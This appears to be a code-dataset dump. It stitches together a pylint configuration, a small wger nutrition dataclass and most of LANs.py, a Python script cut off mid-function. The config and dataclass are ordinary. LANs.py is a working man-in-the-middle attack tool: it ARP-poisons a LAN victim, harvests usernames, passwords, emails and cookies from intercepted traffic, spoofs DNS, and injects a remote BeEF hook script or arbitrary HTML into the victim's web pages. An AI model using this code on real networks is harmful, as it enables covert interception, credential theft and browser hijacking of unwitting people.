# Set the output format. Available formats are text, parseable, colorized, json
# and msvs (visual studio). You can also give a reporter class, e.g.
# mypackage.mymodule.MyReporterClass.
output-format=text
# Tells whether to display a full report or only the messages.
reports=no
# Activate the evaluation score.
score=yes
[REFACTORING]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
# Complete name of functions that never returns. When checking for
# inconsistent-return-statements, if a never returning function is called then
# it will be considered as an explicit return statement and no message will be
# printed.
never-returning-functions=sys.exit
[LOGGING]
# The type of string formatting that logging methods do. `old` means using %
# formatting, `new` is for `{}` formatting.
logging-format-style=old
# Logging modules to check that the string format arguments are in logging
# function parameter format.
logging-modules=logging
[STRING]
# This flag controls whether inconsistent-quotes generates a warning when the
# character used as a quote delimiter is used inconsistently within a module.
check-quote-consistency=no
# This flag controls whether the implicit-str-concat should generate a warning
# on implicit string concatenation in sequences defined over several lines.
check-str-concat-over-line-jumps=no
[TYPECHECK]
# List of decorators that produce context managers, such as
# contextlib.contextmanager. Add to this list to register other decorators that
# produce valid context managers.
contextmanager-decorators=contextlib.contextmanager
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
# Tells whether missing members accessed in mixin class should be ignored. A
# mixin class is detected if its name ends with "mixin" (case insensitive).
ignore-mixin-members=yes
# Tells whether to warn about missing members when the owner of the attribute
# is inferred to be None.
ignore-none=yes
# This flag controls whether pylint should warn about no-member and similar
# checks whenever an opaque object is returned when inferring. The inference
# can return multiple potential results while evaluating a Python object, but
# some branches might not be evaluated, which results in partial inference. In
# that case, it might be useful to still emit no-member and other checks for
# the rest of the inferred objects.
ignore-on-opaque-inference=yes
# List of class names for which member attributes should not be checked (useful
# for classes with dynamically set attributes). This supports the use of
# qualified names.
ignored-classes=optparse.Values,thread._local,_thread._local
# List of module names for which member attributes should not be checked
# (useful for modules/projects where namespaces are manipulated during runtime
# and thus existing member attributes cannot be deduced by static analysis). It
# supports qualified module names, as well as Unix pattern matching.
ignored-modules=
# Show a hint with possible names when a member name was not found. The aspect
# of finding the hint is based on edit distance.
missing-member-hint=yes
# The minimum edit distance a name should have in order to be considered a
# similar match for a missing member name.
missing-member-hint-distance=1
# The total number of similar names that should be taken in consideration when
# showing a hint for a missing member.
missing-member-max-choices=1
# List of decorators that change the signature of a decorated function.
signature-mutators=
[SIMILARITIES]
# Ignore comments when computing similarities.
ignore-comments=yes
# Ignore docstrings when computing similarities.
ignore-docstrings=yes
# Ignore imports when computing similarities.
ignore-imports=no
# Minimum lines number of a similarity.
min-similarity-lines=4
[BASIC]
# Naming style matching correct argument names.
argument-naming-style=snake_case
# Regular expression matching correct argument names. Overrides argument-
# naming-style.
#argument-rgx=
# Naming style matching correct attribute names.
attr-naming-style=snake_case
# Regular expression matching correct attribute names. Overrides attr-naming-
# style.
#attr-rgx=
# Bad variable names which should always be refused, separated by a comma.
bad-names=foo,
bar,
baz,
toto,
tutu,
tata
# Bad variable names regexes, separated by a comma. If names match any regex,
# they will always be refused
bad-names-rgxs=
# Naming style matching correct class attribute names.
class-attribute-naming-style=any
# Regular expression matching correct class attribute names. Overrides class-
# attribute-naming-style.
#class-attribute-rgx=
# Naming style matching correct class names.
class-naming-style=PascalCase
# Regular expression matching correct class names. Overrides class-naming-
# style.
#class-rgx=
# Naming style matching correct constant names.
const-naming-style=UPPER_CASE
# Regular expression matching correct constant names. Overrides const-naming-
# style.
#const-rgx=
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
# Naming style matching correct function names.
function-naming-style=snake_case
# Regular expression matching correct function names. Overrides function-
# naming-style.
#function-rgx=
# Good variable names which should always be accepted, separated by a comma.
good-names=i,
j,
k,
ex,
Run,
_
# Good variable names regexes, separated by a comma. If names match any regex,
# they will always be accepted
good-names-rgxs=
# Include a hint for the correct naming format with invalid-name.
include-naming-hint=no
# Naming style matching correct inline iteration names.
inlinevar-naming-style=any
# Regular expression matching correct inline iteration names. Overrides
# inlinevar-naming-style.
#inlinevar-rgx=
# Naming style matching correct method names.
method-naming-style=snake_case
# Regular expression matching correct method names. Overrides method-naming-
# style.
#method-rgx=
# Naming style matching correct module names.
module-naming-style=snake_case
# Regular expression matching correct module names. Overrides module-naming-
# style.
#module-rgx=
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Regular expression which should only match function or class names that do
# not require a docstring.
no-docstring-rgx=^_
# List of decorators that produce properties, such as abc.abstractproperty. Add
# to this list to register other decorators that produce valid properties.
# These decorators are taken in consideration only for invalid-name.
property-classes=abc.abstractproperty
# Naming style matching correct variable names.
variable-naming-style=snake_case
# Regular expression matching correct variable names. Overrides variable-
# naming-style.
#variable-rgx=
[SPELLING]
# Limits count of emitted suggestions for spelling mistakes.
max-spelling-suggestions=4
# Spelling dictionary name. Available dictionaries: none. To make it work,
# install the python-enchant package.
spelling-dict=
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains the private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to the private dictionary (see the
# --spelling-private-dict-file option) instead of raising a message.
spelling-store-unknown-words=no
[MISCELLANEOUS]
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,
XXX,
TODO
# Regular expression of note tags to take in consideration.
#notes-rgx=
[FORMAT]
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Maximum number of characters on a single line.
max-line-length=100
# Maximum number of lines in a module.
max-module-lines=1000
# List of optional constructs for which whitespace checking is disabled. `dict-
# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
# `trailing-comma` allows a space between comma and closing bracket: (a, ).
# `empty-line` allows space-only lines.
no-space-check=trailing-comma,
dict-separator
# Allow the body of a class to be on the same line as the declaration if body
# contains single statement.
single-line-class-stmt=no
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
[VARIABLES]
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid defining new builtins when possible.
additional-builtins=
# Tells whether unused global variables should be treated as a violation.
allow-global-unused-variables=yes
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,
_cb
# A regular expression matching the name of dummy variables (i.e. expected to
# not be used).
dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
# Argument names that match this expression will be ignored. Default to name
# with leading underscore.
ignored-argument-names=_.*|^ignored_|^unused_
# Tells whether we should check for unused import in __init__ files.
init-import=no
# List of qualified module names which can have objects that can redefine
# builtins.
redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
[DESIGN]
# Maximum number of arguments for function / method.
max-args=5
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Maximum number of boolean expressions in an if statement (see R0916).
max-bool-expr=5
# Maximum number of branches for function / method body.
max-branches=12
# Maximum number of locals for function / method body.
max-locals=15
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of return / yield for function / method body.
max-returns=6
# Maximum number of statements in function / method body.
max-statements=50
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
[IMPORTS]
# List of modules that can be imported at any level, not just the top level
# one.
allow-any-import-level=
# Allow wildcard imports from modules that define __all__.
allow-wildcard-with-all=no
# Analyse import fallback blocks. This can be used to support both Python 2 and
# 3 compatible code, which means that the block might have code that exists
# only in one or another interpreter, leading to false positives when analysed.
analyse-fallback-blocks=no
# Deprecated modules which should not be used, separated by a comma.
deprecated-modules=optparse,tkinter.tix
# Create a graph of external dependencies in the given file (report RP0402 must
# not be disabled).
ext-import-graph=
# Create a graph of every (i.e. internal and external) dependencies in the
# given file (report RP0402 must not be disabled).
import-graph=
# Create a graph of internal dependencies in the given file (report RP0402 must
# not be disabled).
int-import-graph=
# Force import order to recognize a module as part of the standard
# compatibility libraries.
known-standard-library=
# Force import order to recognize a module as part of a third party library.
known-third-party=enchant
# Couples of modules and preferred modules, separated by a comma.
preferred-modules=
[CLASSES]
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,
__new__,
setUp,
__post_init__
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,
_fields,
_replace,
_source,
_make
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=cls
[EXCEPTIONS]
# Exceptions that will emit a warning when being caught. Defaults to
# "BaseException, Exception".
overgeneral-exceptions=BaseException,
Exception
| 18,464 | Python | .pyt | 448 | 37.776786 | 89 | 0.765154 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,855 | dataclasses.py | wger-project_wger/wger/nutrition/dataclasses.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
from dataclasses import (
asdict,
dataclass,
)
from typing import Optional
@dataclass
class IngredientData:
name: str
remote_id: str
language_id: int
energy: float
protein: float
carbohydrates: float
carbohydrates_sugar: Optional[float]
fat: float
fat_saturated: Optional[float]
fiber: Optional[float]
sodium: Optional[float]
code: Optional[str]
source_name: str
source_url: str
common_name: str
brand: str
license_id: int
license_author: str
license_title: str
license_object_url: str
def sanity_checks(self):
if not self.name:
raise ValueError(f'Name is empty!')
self.name = self.name[:200]
self.brand = self.brand[:200]
self.common_name = self.common_name[:200]
macros = [
'protein',
'fat',
'fat_saturated',
'carbohydrates',
'carbohydrates_sugar',
'sodium',
'fiber',
]
for macro in macros:
value = getattr(self, macro)
if value and value > 100:
raise ValueError(f'Value for {macro} is greater than 100: {value}')
if self.carbohydrates + self.protein + self.fat > 100:
raise ValueError(f'Total of carbohydrates, protein and fat is greater than 100!')
def dict(self):
return asdict(self)
| 2,070 | Python | .tac | 64 | 26.296875 | 93 | 0.666833 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,856 | LANs.py | DanMcInerney_LANs_py/LANs.py | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
'''
Description: ARP poisons a LAN victim and prints all the interesting unencrypted info like usernames, passwords and messages. Asynchronous multithreaded arp spoofing packet parser.
Prerequisites: Linux
nmap (optional)
nbtscan (optional)
aircrack-ng
Python 2.6+
nfqueue-bindings 0.4-3
scapy
twisted
Note: This script flushes iptables before and after usage.
'''
def module_check(module):
'''
Just for debian-based systems like Kali and Ubuntu
'''
ri = raw_input(
'[-] python-%s not installed, would you like to install now? (apt-get install -y python-%s will be run if yes) [y/n]: ' % (
module, module))
if ri == 'y':
os.system('apt-get install -y python-%s' % module)
else:
exit('[-] Exiting due to missing dependency')
import os
try:
import nfqueue
except Exception:
module_check('nfqueue')
import nfqueue
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except Exception:
module_check('scapy')
from scapy.all import *
conf.verb = 0
# Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
conf.checkIPaddr = 0
try:
from twisted.internet import reactor
except Exception:
module_check('twisted')
from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
from twisted.internet.protocol import Protocol, Factory
from sys import exit
from threading import Thread, Lock
import argparse
import signal
from base64 import b64decode
from subprocess import *
from zlib import decompressobj, decompress
import gzip
from cStringIO import StringIO
import requests
import sys
import time
from signal import SIGINT, signal
import signal
import socket
import fcntl
def parse_args():
#Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--beef",
help="Inject a BeEF hook URL. Example usage: -b http://192.168.0.3:3000/hook.js")
parser.add_argument("-c", "--code",
help="Inject arbitrary html. Example usage (include quotes): -c '<title>New title</title>'")
parser.add_argument("-u", "--urlspy",
help="Show all URLs and search terms the victim visits or enters minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -v to print all URLs and without truncation.",
action="store_true")
parser.add_argument("-ip", "--ipaddress",
help="Enter IP address of victim and skip the arp ping at the beginning which would give you a list of possible targets. Usage: -ip <victim IP>")
parser.add_argument("-vmac", "--victimmac",
help="Set the victim MAC; by default the script will attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-v", "--verboseURL",
help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.",
action="store_true")
parser.add_argument("-dns", "--dnsspoof",
help="Spoof DNS responses of a specific domain. Enter domain after this argument. An argument like [facebook.com] will match all subdomains of facebook.com")
parser.add_argument("-a", "--dnsall", help="Spoof all DNS responses", action="store_true")
parser.add_argument("-set", "--setoolkit", help="Start Social Engineer's Toolkit in another window.",
action="store_true")
parser.add_argument("-p", "--post",
help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP username/password combos for you.",
action="store_true")
parser.add_argument("-na", "--nmapaggressive",
help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.",
action="store_true")
parser.add_argument("-n", "--nmap",
help="Scan the target for open ports prior to starting to sniffing their packets.",
action="store_true")
parser.add_argument("-i", "--interface",
help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
parser.add_argument("-r", "--redirectto",
help="Must be used with -dns DOMAIN option. Redirects the victim to the IP in this argument when they visit the domain in the -dns DOMAIN option")
parser.add_argument("-rip", "--routerip",
help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-rmac", "--routermac",
help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
###############################
#####End Lans.py Arguments#####
###Start wifijammer Argument###
###############################
parser.add_argument("-s", "--skip", help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA")
parser.add_argument("-ch", "--channel",
help="Listen on and deauth only clients on the specified channel. Example: -ch 6") #######################################I Changed this!!!###############################3333
parser.add_argument("-m", "--maximum",
help="Choose the maximum number of clients to deauth. List of clients will be emptied and repopulated after hitting the limit. Example: -m 5")
parser.add_argument("-no", "--noupdate",
help="Do not clear the deauth list when the maximum (-m) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n",
action='store_true') #####################I changed this!!!#########################33
parser.add_argument("-t", "--timeinterval",
help="Choose the time interval between packets being sent. Default is as fast as possible. If you see scapy errors like 'no buffer space' try: -t .00001")
parser.add_argument("--packets",
help="Choose the number of packets to send in each deauth burst. Default value is 1; 1 packet to the client and 1 packet to the AP. Send 2 deauth packets to the client and 2 deauth packets to the AP: -p 2") #####################I changed this!!!!##############################
parser.add_argument("--directedonly",
help="Skip the deauthentication packets to the broadcast address of the access points and only send them to client/AP pairs",
action='store_true') #######################I changed this!!!########################################3
parser.add_argument("--accesspoint",
help="Enter the MAC address of a specific access point to target") ##############I changed this!!!##############33
return parser.parse_args()
#Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
T = '\033[93m' # tan
#############################
##### Start LANs.py Code####
############################
interface = ''
def LANsMain(args):
global victimIP, interface
#Find the gateway and interface
ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
ipr = ipr.communicate()[0]
iprs = ipr.split('\n')
ipr = ipr.split()
if args.routerip:
routerIP = args.routerip
else:
try:
routerIP = ipr[2]
except:
exit("You must be connected to the internet to use this.")
for r in iprs:
if '/' in r:
IPprefix = r.split()[0]
if args.interface:
interface = args.interface
else:
interface = ipr[4]
if 'eth' in interface or 'p3p' in interface:
exit(
'[-] Wired interface found as default route, please connect wirelessly and retry, or specify the active interface with the -i [interface] option. See active interfaces with [ip addr] or [ifconfig].')
if args.ipaddress:
victimIP = args.ipaddress
else:
au = active_users()
au.users(IPprefix, routerIP)
print '\n[*] Turning off monitor mode'
os.system('airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
try:
victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
except KeyboardInterrupt:
exit('\n[-] Quitting')
print "[*] Checking the DHCP and DNS server addresses..."
# DHCP is a pain in the ass to craft
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff') /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr='E3:2E:F4:DD:8R:9A') /
DHCP(options=[("message-type", "discover"),
("param_req_list",
chr(DHCPRevOptions["router"][0]),
chr(DHCPRevOptions["domain"][0]),
chr(DHCPRevOptions["server_id"][0]),
chr(DHCPRevOptions["name_server"][0]),
), "end"]))
ans, unans = srp(dhcp, timeout=5, retry=1)
if ans:
for s, r in ans:
DHCPopt = r[0][DHCP].options
DHCPsrvr = r[0][IP].src
for x in DHCPopt:
if 'domain' in x:
local_domain = x[1]
pass
else:
local_domain = 'None'
if 'name_server' in x:
dnsIP = x[1]
else:
print "[-] No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP."
dnsIP = routerIP
DHCPsrvr = routerIP
local_domain = 'None'
# Print the vars
print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
if args.routermac:
routerMAC = args.routermac
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: " + routerMAC + '\n')
else:
try:
routerMAC = Spoof().originalMAC(routerIP)
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: " + routerMAC + '\n')
except Exception:
print "[-] Router did not respond to ARP request; attempting to pull MAC from local ARP cache - [/usr/bin/arp -n]"
logger.write(
"[-] Router did not respond to ARP request; attempting to pull the MAC from the ARP cache - [/usr/bin/arp -n]")
try:
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
split_lines = arpcache.communicate()[0].splitlines()
for line in split_lines:
if routerIP in line:
routerMACguess = line.split()[2]
if len(routerMACguess) == 17:
accr = raw_input("[+] Is " + R + routerMACguess + W + " the accurate router MAC? [y/n]: ")
if accr == 'y':
routerMAC = routerMACguess
print "[*] Router MAC: " + routerMAC
logger.write("[*] Router MAC: " + routerMAC + '\n')
else:
exit("[-] Failed to get accurate router MAC address")
except Exception:
exit("[-] Failed to get accurate router MAC address")
if args.victimmac:
victimMAC = args.victimmac
print "[*] Victim MAC: " + victimMAC
logger.write("[*] Victim MAC: " + victimMAC + '\n')
else:
try:
victimMAC = Spoof().originalMAC(victimIP)
print "[*] Victim MAC: " + victimMAC
logger.write("[*] Victim MAC: " + victimMAC + '\n')
except Exception:
exit(
"[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address\n and make sure the interface being used is accurate with -i <interface>")
ipf = setup(victimMAC)
Queued(args)
threads(args)
if args.nmap:
print "\n[*] Running nmap scan; this may take several minutes - [nmap -T4 -O %s]" % victimIP
try:
nmap = Popen(['/usr/bin/nmap', '-T4', '-O', '-e', interface, victimIP], stdout=PIPE, stderr=DN)
nmap.wait()
nmap = nmap.communicate()[0].splitlines()
for x in nmap:
if x != '':
print '[+]', x
logger.write('[+] ' + x + '\n')
except Exception:
print '[-] Nmap port and OS scan failed, is it installed?'
print ''
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
logger.close()
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
forward.write(ipf)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F')
os.system('/sbin/iptables -t nat -X')
exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
time.sleep(1.5)
class Spoof():
def originalMAC(self, ip):
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=5, retry=3)
for s, r in ans:
return r.sprintf("%Ether.src%")
def poison(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
class Parser():
# Mail, irc, post parsing
OheadersFound = []
IheadersFound = []
IMAPauth = 0
IMAPdest = ''
POPauth = 0
POPdest = ''
Cookies = []
IRCnick = ''
mail_passwds = []
oldmailack = ''
oldmailload = ''
mailfragged = 0
# http parsing
oldHTTPack = ''
oldHTTPload = ''
HTTPfragged = 0
# html injection
block_acks = []
html_url = ''
user_agent = None
def __init__(self, args):
self.args = args
#def start(self, i, payload): ###This was original Ubuntu compatible code.
#def start(self, payload): ###This was original non-Ubuntu code.
'''
Both were replaced by accepting arguments as an array and then iterating through said array looking for the payload and self.
It is now compatible with both Ubuntu and non-Ubuntu linux distros.
'''
def start(*args):
for i in args:
if isinstance(i, nfqueue.payload):
payload = i
else:
if not isinstance(i, int):
self = i
if self.args.pcap:
if self.args.ipaddress:
try:
pkt = payload[IP]
except Exception:
return
else:
try:
pkt = IP(payload.get_data())
except Exception:
return
IP_layer = pkt[IP]
IP_dst = pkt[IP].dst
IP_src = pkt[IP].src
if self.args.urlspy or self.args.post or self.args.beef or self.args.code:
if pkt.haslayer(Raw):
if pkt.haslayer(TCP):
dport = pkt[TCP].dport
sport = pkt[TCP].sport
ack = pkt[TCP].ack
seq = pkt[TCP].seq
load = pkt[Raw].load
mail_ports = [25, 26, 110, 143]
if dport in mail_ports or sport in mail_ports:
self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)
if dport == 6667 or sport == 6667:
self.irc(load, dport, sport, IP_src)
if dport == 21 or sport == 21:
self.ftp(load, IP_dst, IP_src)
if dport == 80 or sport == 80:
self.http_parser(load, ack, dport)
if self.args.beef or self.args.code:
self.injecthtml(load, ack, pkt, payload, dport, sport)
if self.args.dnsspoof or self.args.dnsall:
if pkt.haslayer(DNSQR):
dport = pkt[UDP].dport
sport = pkt[UDP].sport
if dport == 53 or sport == 53:
dns_layer = pkt[DNS]
self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, payload)
def get_user_agent(self, header_lines):
for h in header_lines:
user_agentre = re.search('[Uu]ser-[Aa]gent: ', h)
if user_agentre:
return h.split(user_agentre.group(), 1)[1]
def injecthtml(self, load, ack, pkt, payload, dport, sport):
for x in self.block_acks:
if ack == x:
payload.set_verdict(nfqueue.NF_DROP)
return
ack = str(ack)
if self.args.beef:
bhtml = '<script src=' + self.args.beef + '></script>'
if self.args.code:
chtml = self.args.code
try:
headers, body = load.split("\r\n\r\n", 1)
except Exception:
headers = load
body = ''
header_lines = headers.split("\r\n")
if dport == 80:
post = None
get = self.get_get(header_lines)
host = self.get_host(header_lines)
self.html_url = self.get_url(host, get, post)
if self.html_url:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in self.html_url for i in d):
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
else:
payload.set_verdict(nfqueue.NF_ACCEPT)
return
if not self.get_user_agent(header_lines):
# Most common user-agent on the internet
self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'"
else:
self.user_agent = "'" + self.get_user_agent(header_lines) + "'"
payload.set_verdict(nfqueue.NF_ACCEPT)
return
if sport == 80 and self.html_url and 'Content-Type: text/html' in headers:
# This can be done better, probably using filter(), no make them a dictionary and use del
header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()]
for h in header_lines:
if '1.1 302' in h or '1.1 301' in h: # Allow redirects to go thru unperturbed
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
return
UA_header = {'User-Agent': self.user_agent}
r = requests.get('http://' + self.html_url, headers=UA_header)
try:
body = r.text.encode('utf-8')
except Exception:
payload.set_verdict(nfqueue.NF_ACCEPT)
# INJECT
if self.args.beef:
if '<html' in body or '/html>' in body:
try:
psplit = body.split('</head>', 1)
body = psplit[0] + bhtml + '</head>' + psplit[1]
except Exception:
try:
psplit = body.split('<head>', 1)
body = psplit[0] + '<head>' + bhtml + psplit[1]
except Exception:
if not self.args.code:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
else:
pass
if self.args.code:
if '<html' in body or '/html>' in body:
try:
psplit = body.split('<head>', 1)
body = psplit[0] + '<head>' + chtml + psplit[1]
except Exception:
try:
psplit = body.split('</head>', 1)
body = psplit[0] + chtml + '</head>' + psplit[1]
except Exception:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
# Recompress data if necessary
if 'Content-Encoding: gzip' in headers:
if body != '':
try:
comp_body = StringIO()
f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel=9)
f.write(body)
f.close()
body = comp_body.getvalue()
except Exception:
try:
pkt[Raw].load = headers + "\r\n\r\n" + body
pkt[IP].len = len(str(pkt))
del pkt[IP].chksum
del pkt[TCP].chksum
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
print '[-] Could not recompress html, sent packet as is'
self.html_url = None
return
except Exception:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
headers = "\r\n".join(header_lines)
pkt[Raw].load = headers + "\r\n\r\n" + body
pkt[IP].len = len(str(pkt))
del pkt[IP].chksum
del pkt[TCP].chksum
try:
payload.set_verdict(nfqueue.NF_DROP)
pkt_frags = fragment(pkt)
for p in pkt_frags:
send(p)
print R + '[!] Injected HTML into packet for ' + W + self.html_url
logger.write('[!] Injected HTML into packet for ' + self.html_url)
self.block_acks.append(ack)
self.html_url = None
except Exception as e:
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
print '[-] Failed to inject packet', e
return
if len(self.block_acks) > 30:
self.block_acks = self.block_acks[5:]
def get_host(self, header_lines):
for l in header_lines:
searchHost = re.search('[Hh]ost: ', l)
if searchHost:
try:
return l.split('Host: ', 1)[1]
except Exception:
try:
return l.split('host: ', 1)[1]
except Exception:
return
def get_get(self, header_lines):
for l in header_lines:
searchGet = re.search('GET /', l)
if searchGet:
try:
return l.split('GET ')[1].split(' ')[0]
except Exception:
return
def get_post(self, header_lines):
for l in header_lines:
searchPost = re.search('POST /', l)
if searchPost:
try:
return l.split(' ')[1].split(' ')[0]
except Exception:
return
def get_url(self, host, get, post):
if host:
if post:
return host + post
if get:
return host + get
# Catch search terms
# As it stands now this has a moderately high false positive rate mostly due to the common ?s= and ?q= vars
# I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches
def searches(self, url, host):
# search, query, search?q, ?s, &q, ?q, search?p, searchTerm, keywords, command
searched = re.search(
'((search|query|search\?q|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
if searched:
searched = searched.group(3)
# Common false positives
if 'select%20*%20from' in searched:
pass
if host == 'geo.yahoo.com':
pass
else:
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27',
'\'').replace(
'%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22',
'\"').replace('%24',
'$')
print T + '[+] Searched ' + W + host + T + ': ' + searched + W
logger.write('[+] Searched ' + host + ' for: ' + searched + '\n')
def post_parser(self, url, body, host, header_lines):
if 'ocsp' in url:
print B + '[+] POST: ' + W + url
logger.write('[+] POST: ' + url + '\n')
elif body != '':
try:
urlsplit = url.split('/')
url = urlsplit[0] + '/' + urlsplit[1]
except Exception:
pass
if self.HTTPfragged == 1:
print B + '[+] Fragmented POST: ' + W + url + B + " HTTP POST's combined load: " + body + W
logger.write('[+] Fragmented POST: ' + url + " HTTP POST's combined load: " + body + '\n')
else:
print B + '[+] POST: ' + W + url + B + ' HTTP POST load: ' + body + W
logger.write('[+] POST: ' + url + " HTTP POST's combined load: " + body + '\n')
# If you see any other login/pw variable names, tell me and I'll add em in here
# As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less
# email, user, username, name, login, log, loginID
user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
# password, pass, passwd, pwd, psw, passwrd, passw
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
username = re.findall(user_regex, body)
